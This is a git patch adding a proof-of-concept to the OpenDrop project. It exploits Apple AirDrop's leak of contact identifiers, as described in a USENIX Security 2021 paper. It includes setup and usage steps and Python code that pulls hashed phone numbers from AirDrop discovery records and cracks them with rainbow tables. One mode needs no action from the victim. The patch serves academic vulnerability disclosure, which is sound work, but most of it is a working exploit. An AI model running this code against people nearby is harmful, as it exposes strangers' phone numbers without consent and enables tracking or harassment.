From 81ddc079962a8ff803e307eb55d3fbbea7e40f24 Mon Sep 17 00:00:00 2001 From: Milan Stute Date: Thu, 15 Apr 2021 12:54:17 +0200 Subject: [PATCH] Add PoC for AirDrop's phone number leak --- .gitmodules | 3 ++ README.PoC.md | 80 ++++++++++++++++++++++++++++++++++++++++++++++ opendrop/client.py | 5 +++ opendrop/server.py | 6 ++++ opendrop/util.py | 43 +++++++++++++++++++++++++ requirements.txt | 8 +++++ rt_phone_numbers | 1 + setup.py | 1 + 8 files changed, 147 insertions(+) create mode 100644 .gitmodules create mode 100644 README.PoC.md create mode 100644 requirements.txt create mode 160000 rt_phone_numbers diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..b1612c0 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "rt_phone_numbers"] + path = rt_phone_numbers + url = https://github.com/contact-discovery/rt_phone_numbers.git diff --git a/README.PoC.md b/README.PoC.md new file mode 100644 index 0000000..dd000e3 --- /dev/null +++ b/README.PoC.md @@ -0,0 +1,80 @@ +# PoC: AirDrop Phone Number Leak + +This PoC demonstrates the contact identifier leakage in Apple AirDrop that was described in + +* **[HHSSW21]** Alexander Heinrich, Matthias Hollick, Thomas Schneider, Milan Stute, and Christian Weinert. **PrivateDrop: Practical Privacy-Preserving Authentication for Apple AirDrop** in _30th USENIX Security Symposium_. [Website](https://privatedrop.github.io). [Preprint](https://www.usenix.org/system/files/sec21fall-heinrich.pdf). + +The paper also proposes a privacy-preserving drop-in replacement for Apple AirDrop. + +**We notified Apple about this vulnerability on May 11, 2019. Until today, Apple has neither mitigated the issue nor informed us that they are planning to do so. +This means that current Apple systems are still vulnerable (iOS 14.5 and macOS 11.3 as of May 5, 2021).** + +## Installation + +Run the following instructions on a Mac (tested with macOS 11.2.3). + +1. Checkout the repository. + +```bash +git clone https://github.com/seemoo-lab/opendrop.git +cd opendrop +git checkout poc-phonenumber-leak +git submodule update --init +``` + +2. Install Python dependencies. + +```bash +pip3 install -r requirements.txt +``` + +3. Build [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers). + +```bash +brew install libomp +cd rt_phone_numbers +make -f Makefile.macOS +cd .. +``` + +## Usage + +Our PoC is able to exploit both vulnerabilities explained in [HHSSW21]. We provide usage instructions below. + +**Disclaimer:** We omit precomputed rainbow tables generated with [_RainbowPhones_](https://github.com/contact-discovery/rt_phone_numbers)'s `rtgen` in this PoC. +Consequently, you will see the following message when running this PoC without modification: _"Could not recover hashed phone number: No rainbow tables provided."_ + +### Contact Identifier Leakage of Sender (§3.3 in [HHSSW21]) + +Simply run the following and wait for someone in proximity to open the AirDrop sharing menu. + +```bash +python3 -m opendrop receive +``` + +An example output would look like this: + +``` +Announcing service: host opendrop, address fe80::c8b9:fbff:fee9:d544, port 8771 +Starting HTTPS server +Nearby phone number: +49<...> +``` + +### Contact Identifier Leakage of Receiver (§3.4 in [HHSSW21]) + +Exploiting this vulnerability requires the victim to have the attacker in their address book. +In particular, the attacker needs to present a valid AirDrop certificate containing its contact identifiers to the victim. +You can follow [these instructions](https://github.com/seemoo-lab/airdrop-keychain-extractor) to extract your current AirDrop certificate and use it with OpenDrop. +This attack does not require any interaction on part of the victim. Simply run: + +```bash +python3 -m opendrop find +``` + +An example output would look like this: + +``` +Looking for receivers. Press Ctrl+C to stop ... +Nearby phone number: +49<...> +Found index 0 ID a019b536c38b name John Doe's iPhone +``` diff --git a/opendrop/client.py b/opendrop/client.py index 471aeff..a176a23 100644 --- a/opendrop/client.py +++ b/opendrop/client.py @@ -141,6 +141,11 @@ class AirDropClient: _, response_bytes = self.send_POST("/Discover", discover_plist_binary) response = plistlib.loads(response_bytes) + # Extract and lookup phone number hashes from validation record + validation_record = response["ReceiverRecordData"] + hashes = AirDropUtil.get_hashes_from_validation_record(validation_record) + AirDropUtil.lookup_phone_hashes(hashes) + # if name is returned, then receiver is discoverable return response.get("ReceiverComputerName") diff --git a/opendrop/server.py b/opendrop/server.py index 9fe3f80..4654d0f 100644 --- a/opendrop/server.py +++ b/opendrop/server.py @@ -170,6 +170,12 @@ class AirDropServerHandler(BaseHTTPRequestHandler): self.config, post_data, "receive_discover_request.plist" ) + # Extract and lookup phone number hashes from validation record + discover_request = plistlib.loads(post_data) + validation_record = discover_request["SenderRecordData"] + hashes = AirDropUtil.get_hashes_from_validation_record(validation_record) + AirDropUtil.lookup_phone_hashes(hashes) + # sample media capabilities as recorded from macOS 10.13.3 media_capabilities = { "Version": 1, diff --git a/opendrop/util.py b/opendrop/util.py index 33ae021..c82fa2f 100644 --- a/opendrop/util.py +++ b/opendrop/util.py @@ -17,11 +17,15 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . """ +import glob import io import ipaddress import os +import plistlib +import subprocess import ifaddr +from ctypescrypto import cms from libarchive.entry import ArchiveEntry, new_archive_entry from libarchive.ffi import ( # pylint: disable=no-name-in-module ARCHIVE_EOF, @@ -168,6 +172,45 @@ class AirDropUtil: else: # assume bytes-like file.write(data) + @staticmethod + def get_hashes_from_validation_record(validation_record): + data = cms.CMS(validation_record, format="DER").data + data = plistlib.loads(data.encode()) + phone_hashes = data["ValidatedPhoneHashes"] + return phone_hashes + + @staticmethod + def lookup_phone_hashes(hashes): + for hash_ in hashes: + AirDropUtil.lookup_phone_hash(hash_) + + @staticmethod + def lookup_phone_hash(hash_): + rcrack_dir = os.path.join( + os.path.dirname(os.path.realpath(__file__)), "../rt_phone_numbers/bin" + ) + rcrack_bin = os.path.join(rcrack_dir, "rcrack") + rcrack_table = "" + rcrack_tables = glob.glob(rcrack_table) + + if len(rcrack_tables) == 0: + print("Could not recover hashed phone number: No rainbow tables provided.") + return + + result = subprocess.run( + [rcrack_bin] + rcrack_tables + ["-h", hash_], + text=True, + cwd=rcrack_dir, + capture_output=True, + check=True, + ) + + for line in result.stdout.splitlines(): + if not line.startswith("plaintext of"): + continue + number = line.split("is")[1].strip() + print(f"Nearby phone number: +{number}") + class AbsArchiveWrite(ArchiveWrite): def add_abs_file(self, path, store_path): diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..97f16f1 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +Pillow +ctypescrypto +fleep +ifaddr +libarchive-c +requests +requests_toolbelt +zeroconf>=0.24.2 diff --git a/rt_phone_numbers b/rt_phone_numbers new file mode 160000 index 0000000..b8986d1 --- /dev/null +++ b/rt_phone_numbers @@ -0,0 +1 @@ +Subproject commit b8986d1a205b280b4876f2ce3b4eba197afdc0dc diff --git a/setup.py b/setup.py index e3b959b..2824557 100644 --- a/setup.py +++ b/setup.py @@ -37,6 +37,7 @@ setup( package_data={"opendrop": ["certs/*.pem"]}, install_requires=[ "Pillow", + "ctypescrypto", "fleep", "ifaddr", "libarchive-c",